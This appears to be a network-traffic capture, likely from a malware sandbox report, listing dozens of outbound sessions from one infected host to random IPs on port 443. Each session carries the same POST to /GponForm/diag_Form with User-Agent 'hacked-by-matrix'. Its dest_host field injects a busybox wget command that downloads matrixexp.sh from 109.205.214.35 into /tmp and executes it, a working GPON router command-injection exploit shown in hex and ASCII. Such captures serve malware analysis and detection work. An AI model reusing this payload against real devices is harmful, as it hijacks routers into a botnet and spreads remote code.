Mar 21, 2024 05:27:02.416205883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1622	192.168.2.23	58570	94.120.68.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416210890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1623	192.168.2.23	38518	42.190.232.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416225910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1624	192.168.2.23	57812	118.12.21.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416244984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1625	192.168.2.23	44126	5.131.23.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416249037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1626	192.168.2.23	52472	42.38.65.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416285992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1627	192.168.2.23	36734	94.110.105.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416321039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1628	192.168.2.23	38278	37.68.7.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416347980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1629	192.168.2.23	37206	109.124.45.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416349888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1630	192.168.2.23	37142	118.129.202.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416377068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1631	192.168.2.23	60422	94.70.61.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416378021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1632	192.168.2.23	38224	79.38.24.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416384935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1633	192.168.2.23	59458	42.144.87.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416421890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1634	192.168.2.23	60448	212.245.43.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416426897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1635	192.168.2.23	45618	2.19.106.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416451931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1636	192.168.2.23	60804	178.83.25.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416465998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1637	192.168.2.23	54178	210.244.174.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416508913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1638	192.168.2.23	39430	210.134.146.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416522026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1639	192.168.2.23	50552	79.203.31.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416609049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1640	192.168.2.23	35766	94.6.231.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416618109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1641	192.168.2.23	51722	178.253.125.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416636944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1642	192.168.2.23	35244	109.233.198.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416655064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1643	192.168.2.23	51406	79.48.101.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416659117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1644	192.168.2.23	38184	118.5.209.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416666031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1645	192.168.2.23	56766	2.148.100.82	443

Timestamp	Bytes transferred	Direction	Data
